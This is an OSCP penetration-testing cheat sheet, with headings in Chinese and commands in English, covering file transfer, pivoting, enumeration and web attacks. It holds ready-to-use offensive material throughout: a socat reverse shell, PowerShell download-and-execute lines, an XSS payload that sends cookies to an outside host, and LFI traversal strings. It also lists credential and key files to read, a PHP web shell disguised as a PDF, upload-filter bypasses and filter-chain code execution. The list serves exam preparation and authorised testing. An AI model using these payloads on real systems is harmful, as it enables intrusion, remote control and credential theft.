oscp cheat sheet | oscp备忘单 OffSec专业认证资源清单

OSCP是什么

OSCP（Offensive Security Certified Professional）

OSCP认证，是一个专门针对Kali Linux渗透测试培训课程的专业认证。

基础

信息收集

漏洞分析

网络应用分析

密码攻击

逆向工程

漏洞利用工具

后渗透测试利用

数据库利用

CVE

有效载荷（payloads）

字典列表

社交媒体资源

命令

基础命令

curl

curl -v http://<DOMAIN>                                                        // verbose output
curl -X POST http://<DOMAIN>                                                   // use POST method
curl -X PUT http://<DOMAIN>                                                    // use PUT method
curl --path-as-is http://<DOMAIN>/../../../../../../etc/passwd                 // use --path-as-is to handle /../ or /./ in the given URL
curl --proxy http://127.0.0.1:8080                                             // use proxy
curl -F myFile=@<FILE> http://<RHOST>                                          // file upload
curl${IFS}<LHOST>/<FILE>                                                       // Internal Field Separator (IFS) example

chisel

反向枢轴

./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:3000:127.0.0.1:3000

SOCKS5/代理链配置

./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:socks

文件传输

证书工具

certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>

Netcat

nc -lnvp <LPORT> < <FILE>
nc <RHOST> <RPORT> > <FILE>

Impacket

sudo impacket-smbserver <SHARE> ./
sudo impacket-smbserver <SHARE> . -smb2support
copy * \\<LHOST>\<SHARE>

powershell

iwr <LHOST>/<FILE> -o <FILE>
IEX(IWR http://<LHOST>/<FILE>) -UseBasicParsing
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>

仅Bash

wget版本

直接粘贴到shell上。

function __wget() {
    : ${DEBUG:=0}
    local URL=$1
    local tag="Connection: close"
    local mark=0

    if [ -z "${URL}" ]; then
        printf "Usage: %s \"URL\" [e.g.: %s http://www.google.com/]" \
               "${FUNCNAME[0]}" "${FUNCNAME[0]}"
        return 1;
    fi
    read proto server path <<<$(echo ${URL//// })
    DOC=/${path// //}
    HOST=${server//:*}
    PORT=${server//*:}
    [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
    [[ $DEBUG -eq 1 ]] && echo "HOST=$HOST"
    [[ $DEBUG -eq 1 ]] && echo "PORT=$PORT"
    [[ $DEBUG -eq 1 ]] && echo "DOC =$DOC"

    exec 3<>/dev/tcp/${HOST}/$PORT
    echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\n${tag}\r\n\r\n" >&3
    while read line; do
        [[ $mark -eq 1 ]] && echo $line
        if [[ "${line}" =~ "${tag}" ]]; then
            mark=1
        fi
    done <&3
    exec 3>&-
}

__wget http://<LHOST>/<FILE>

curl版本

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

__curl http://<LHOST>/<FILE> > <OUTPUT_FILE>

FTP

ftp <RHOST>
wget -r ftp://anonymous:anonymous@<RHOST>

Kerberos

sudo apt-get install krb5-kdc

impacket-getTGT <DOMAIN>/<USERNAME>:'<PASSWORD>'
export KRB5CCNAME=<FILE>.ccache
export KRB5CCNAME='realpath <FILE>.ccache'

/etc/krb5.conf                   // kerberos configuration file location
kinit <USERNAME>                 // creating ticket request
klist                            // show available kerberos tickets
kdestroy                         // delete cached kerberos tickets
.k5login                         // resides kerberos principals for login (place in home directory)
krb5.keytab                      // "key table" file for one or more principals
kadmin                           // kerberos administration console
add_principal <EMAIL>            // add a new user to a keytab file
ksu                              // executes a command with kerberos authentication
klist -k /etc/krb5.keytab        // lists keytab file
kadmin -p kadmin/<EMAIL> -k -t /etc/krb5.keytab    // enables editing of the keytab file

Ligolo-ng

https://github.com/nicocha30/ligolo-ng

下载 Proxy and Agent

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz

准备隧道接口

sudo ip tuntap add user $(whoami) mode tun ligolo

sudo ip link set ligolo up

在攻击者机器上设置代理

./proxy -laddr <LHOST>:443 -selfcert

在目标机器上安装代理

./agent -connect <LHOST>:443 -ignore-cert

会话

ligolo-ng » session

[Agent : user@target] » ifconfig

sudo ip r add 172.16.1.0/24 dev ligolo

[Agent : user@target] » start

Linux

CentOS

doas -u <USERNAME> /bin/sh

环境变量

export PATH=`pwd`:$PATH

gcc

gcc (--static) -m32 -Wl,--hash-style=both exploit.c -o exploit
i686-w64-mingw32-gcc -o main32.exe main.c
x86_64-w64-mingw32-gcc -o main64.exe main.c

getfacl

getfacl <LOCAL_DIRECTORY>

iconv

echo "<COMMAND>" | iconv -t UTF-16LE | base64 -w 0
echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0
iconv -f ASCII -t UTF-16LE <FILE>.txt | base64 | tr -d "\n"

vi

:w !sudo tee %    # save file with elevated privileges without exiting

Windows 命令格式

echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0

微软Windows

dir

dir flag* /s /p
dir /s /b *.log

PHP网络服务器

sudo php -S 127.0.0.1:80

ping

ping -c 1 <RHOST>
ping -n 1 <RHOST>

Python网络服务器

sudo python -m SimpleHTTPServer 80
sudo python3 -m http.server 80

RDP

xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /dynamic-resolution +clipboard
xfreerdp /v:<RHOST> /u:<USERNAME> /d:<DOMAIN> /pth:'<HASH>' /dynamic-resolution +clipboard
rdesktop <RHOST>

showmount

/usr/sbin/showmount -e <RHOST>
sudo showmount -e <RHOST>
chown root:root sid-shell; chmod +s sid-shell

smbclient

smbclient -L \\<RHOST>\ -N
smbclient -L //<RHOST>/ -N
smbclient -L ////<RHOST>/ -N
smbclient -U "<USERNAME>" -L \\\\<RHOST>\\
smbclient -L //<RHOST>// -U <USERNAME>%<PASSWORD>
smbclient //<RHOST>/SYSVOL -U <USERNAME>%<PASSWORD>
smbclient "\\\\<RHOST>\<SHARE>"
smbclient \\\\<RHOST>\\<SHARE> -U '<USERNAME>' --socket-options='TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=131072 SO_SNDBUF=131072' -t 40000
smbclient --no-pass //<RHOST>/<SHARE>
mount.cifs //<RHOST>/<SHARE> /mnt/remote
guestmount --add '/<MOUNTPOINT>/<DIRECTORY/FILE>' --inspector --ro /mnt/<MOUNT> -v

一次下载多个文件

mask""
recurse ON
prompt OFF
mget *

一次上传多个文件

recurse ON
prompt OFF
mput *

socat

socat TCP-LISTEN:<LPORT>,fork TCP:<RHOST>:<RPORT>

socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:<LPORT>

socat tcp-listen:5986,reuseaddr,fork tcp:<RHOST>:9002
socat tcp-listen:9002,reuseaddr,fork tcp:192.168.122.228:5968 &

SSH

ssh user@<RHOST> -oKexAlgorithms=+diffie-hellman-group1-sha1

ssh -R 8080:<LHOST>:80 <RHOST>
ssh -L 8000:127.0.0.1:8000 <USERNAME>@<RHOST>
ssh -N -L 1234:127.0.0.1:1234 <USERNAME>@<RHOST>

ssh -L 80:<LHOST>:80 <RHOST>
ssh -L 127.0.0.1:80:<LHOST>:80 <RHOST>
ssh -L 80:localhost:80 <RHOST>

时间和日期

获取服务器时间

sudo nmap -sU -p 123 --script ntp-info <RHOST>

停止 virtualbox-guest-utils 以停止同步时间

sudo /etc/init.d/virtualbox-guest-utils stop

停止 systemd-timesyncd 以手动同步时间

sudo systemctl stop systemd-timesyncd

禁用自动同步

sudo systemctl disable --now chronyd

设置日期和时间的选项

sudo net time -c <RHOST>
sudo net time set -S <RHOST>
sudo net time \\<RHOST> /set /y
sudo ntpdate <RHOST>
sudo ntpdate -s <RHOST>
sudo ntpdate -b -u <RHOST>
sudo timedatectl set-timezone UTC
sudo timedatectl list-timezones
sudo timedatectl set-timezone '<COUNTRY>/<CITY>'
sudo timedatectl set-time 15:58:30
sudo timedatectl set-time '2015-11-20 16:14:50'
sudo timedatectl set-local-rtc 1

与服务器保持同步

while [ 1 ]; do sudo ntpdate <RHOST>;done

Tmux

ctrl b + w    # show windows
ctrl + "      # split window horizontal
ctrl + %      # split window vertical
ctrl + ,      # rename window
ctrl + {      # flip window
ctrl + }      # flip window
ctrl + spacebar    # switch pane layout

复制&粘贴

:setw -g mode-keys vi
ctrl b + [
space
enter
ctrl b + ]

搜索

ctrl b + [    # enter copy
ctrl + /      # enter search while within copy mode for vi mode
n             # search next
shift + n     # reverse search

记录

ctrl b
shift + P    # start / stop

保存输出

ctrl b + :
capture-pane -S -
ctrl b + :
save-buffer <FILE>.txt

升级shell

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

ctrl + z
stty raw -echo
fg
Enter
Enter
export XTERM=xterm

或者：

script -q /dev/null -c bash
/usr/bin/script -qc /bin/bash /dev/null

Oneliner

stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Fixing Staircase Effect

env reset

或者

stty onlcr

VirtualBox

sudo pkill VBoxClient && VBoxClient --clipboard

虚拟环境

sudo apt-get install virtualenv
virtualenv -p python2.7 venv
. venv/bin/activate

python.exe -m pip install virtualenv
python.exe -m virtualenv venv
venv\Scripts\activate

信息收集

memcached

https://github.com/pd4d10/memcached-cli

memcrashed / 11211/UDP

npm install -g memcached-cli
memcached-cli <USERNAME>:<PASSWORD>@<RHOST>:11211
echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211

STAT pid 21357
STAT uptime 41557034
STAT time 1519734962

sudo nmap <RHOST> -p 11211 -sU -sS --script memcached-info

stats items
stats cachedump 1 0
get link
get file
get user
get passwd
get account
get username
get password

NetBIOS

nbtscan <RHOST>
nmblookup -A <RHOST>

Nmap

sudo nmap -A -T4 -sC -sV -p- <RHOST>
sudo nmap -sV -sU <RHOST>
sudo nmap -A -T4 -sC -sV --script vuln <RHOST>
sudo nmap -A -T4 -p- -sS -sV -oN initial --script discovery <RHOST>
sudo nmap -sC -sV -p- --scan-delay 5s <RHOST>
sudo nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' <RHOST>
ls -lh /usr/share/nmap/scripts/*ssh*
locate -r '\.nse$' | xargs grep categories | grep categories | grep 'default\|version\|safe' | grep smb

端口扫描

for p in {1..65535}; do nc -vn <RHOST> $p -w 1 -z & done 2> <FILE>.txt

export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done

snmpwalk

snmpwalk -c public -v1 <RHOST>
snmpwalk -v2c -c public <RHOST> 1.3.6.1.2.1.4.34.1.3
snmpwalk -v2c -c public <RHOST> .1
snmpwalk -v2c -c public <RHOST> nsExtendObjects
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.25
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -c public -v1 <RHOST> .1.3.6.1.2.1.1.5
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.3.1.1
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.27
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.6.13.1.3
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.6.3.1.2

网络应用分析

Burp Suite

Ctrl+r          // Sending request to repeater
Ctrl+i          // Sending request to intruder
Ctrl+Shift+b    // base64 encoding
Ctrl+Shift+u    // URL decoding

设置代理环境变量

export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=https://localhost:8080

cadaver

cadaver http://<RHOST>/<WEBDAV_DIRECTORY>/

dav:/<WEBDAV_DIRECTORY>/> cd C
dav:/<WEBDAV_DIRECTORY>/C/> ls
dav:/<WEBDAV_DIRECTORY>/C/> put <FILE>

跨站脚本 (XSS)

<sCrIpt>alert(1)</ScRipt>
<script>alert('XSS');</script>
<script>alert(document.cookies)</script>
<script>document.querySelector('#foobar-title').textContent = '<TEXT>'</script>
<script>fetch('https://<RHOST>/steal?cookie=' + btoa(document.cookie));</script>
<script>user.changeEmail('user@domain');</script>
<iframe src=file:///etc/passwd height=1000px width=1000px></iframe>
<img src='http://<RHOST>'/>

ffuf

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fs <NUMBER> -mc all
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fw <NUMBER> -mc all
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ -mc 200,204,301,302,307,401 -o results.txt
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://<RHOST>/ -H "Host: FUZZ.<RHOST>" -fs 185
ffuf -c -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u http://<RHOST>/backups/backup_2020070416FUZZ.zip

API 模糊测试

ffuf -u https://<RHOST>/api/v2/FUZZ -w api_seen_in_wild.txt -c -ac -t 250 -fc 400,404,412

搜索 LFI

ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://<RHOST>/admin../admin_staging/index.php?page=FUZZ -fs 15349

使用 PHP Session ID 进行模糊测试

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt  -u "http://<RHOST>/admin/FUZZ.php" -b "PHPSESSID=a0mjo6ukbkq271nb2rkb1joamp" -fw 2644

递归

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/basic/FUZZ -recursion

文件扩展名

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/ext/logs/FUZZ -e .log

速率限制

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 5 -p 0.1 -u http://<RHOST>/cd/rate/FUZZ -mc 200,429

虚拟主机发现

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -fs 1495

海量文件扩展名发现

ffuf -w /opt/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://<RHOST>/FUZZ -t 30 -c -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -mc 200,204,301,302,307,401,403,500 -ic -e .7z,.action,.ashx,.asp,.aspx,.backup,.bak,.bz,.c,.cgi,.conf,.config,.dat,.db,.dhtml,.do,.doc,.docm,.docx,.dot,.dotm,.go,.htm,.html,.ini,.jar,.java,.js,.js.map,.json,.jsp,.jsp.source,.jspx,.jsx,.log,.old,.pdb,.pdf,.phtm,.phtml,.pl,.py,.pyc,.pyz,.rar,.rhtml,.shtm,.shtml,.sql,.sqlite3,.svc,.tar,.tar.bz2,.tar.gz,.tsx,.txt,.wsdl,.xhtm,.xhtml,.xls,.xlsm,.xlst,.xlsx,.xltm,.xml,.zip

Git工具

./gitdumper.sh http://<RHOST>/.git/ /PATH/TO/FOLDER
./extractor.sh /PATH/TO/FOLDER/ /PATH/TO/FOLDER/

Gobuster

-e    // extended mode that renders the full url
-k    // skip ssl certificate validation
-r    // follow cedirects
-s    // status codes
-b    // exclude status codes
-k            // ignore certificates
--wildcard    // set wildcard option

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>/ -x php
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://<RHOST>/ -x php,txt,html,js -e -s 200
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://<RHOST>:<RPORT>/ -b 200 -k --wildcard

常见文件扩展名

txt,bak,php,html,js,asp,aspx

常见图片扩展

png,jpg,jpeg,gif,bmp

POST请求

gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://<RHOST>/api/ -e -s 200

DNS侦察

gobuster dns -d <RHOST> -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

虚拟主机发现

gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

指定用户代理

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/ -a Linux

本地文件包含 (LFI)

http://<RHOST>/<FILE>.php?file=
http://<RHOST>/<FILE>.php?file=../../../../../../../../etc/passwd
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd

直到 php 5.3

http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd%00

空字节

%00
0x00

编码遍历字符串

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\

php://过滤器包装器

https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter

url=php://filter/convert.base64-encode/resource=file:////var/www/<RHOST>/api.php

http://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=index
http://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
base64 -d <FILE>.php

Django、Rails 或 Node.js Web 应用程序标头值

Accept: ../../../../.././../../../../etc/passwd{{
Accept: ../../../../.././../../../../etc/passwd{%0D
Accept: ../../../../.././../../../../etc/passwd{%0A
Accept: ../../../../.././../../../../etc/passwd{%00
Accept: ../../../../.././../../../../etc/passwd{%0D{{
Accept: ../../../../.././../../../../etc/passwd{%0A{{
Accept: ../../../../.././../../../../etc/passwd{%00{{

Linux 文件

/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/knockd.conf
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cmdline
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/sched_debug
/proc/self/cwd/app.py
/proc/self/environ
/proc/self/net/arp
/proc/stat
/proc/swaps
/proc/version
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/html<VHOST>/__init__.py
/var/www/html/db_connect.php
/var/www/html/utils.php
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsession

Windows 文件

C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log

PDF PHP 包含

创建一个带有 PDF 标头的文件，其中包含 PHP 代码。

%PDF-1.4

<?php
    system($_GET["cmd"]);
?>

http://<RHOST>/index.php?page=uploads/<FILE>.pdf%00&cmd=whoami

PHP 上传过滤器绕过

.sh
.cgi
.inc
.txt
.pht
.phtml
.phP
.Php
.php3
.php4
.php5
.php7
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.jpeg

<FILE>.php%20
<FILE>.php%0d%0a.jpg
<FILE>.php%0a
<FILE>.php.jpg
<FILE>.php%00.gif
<FILE>.php\x00.gif
<FILE>.php%00.png
<FILE>.php\x00.png
<FILE>.php%00.jpg
<FILE>.php\x00.jpg
mv <FILE>.jpg <FILE>.php\x00.jpg

PHP 过滤器链生成器

https://github.com/synacktiv/php_filter_chain_generator

python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
python3 php_filter_chain_generator.py --chain "<?php echo shell_exec(id); ?>"
python3 php_filter_chain_generator.py --chain """<?php echo shell_exec(id); ?>"""
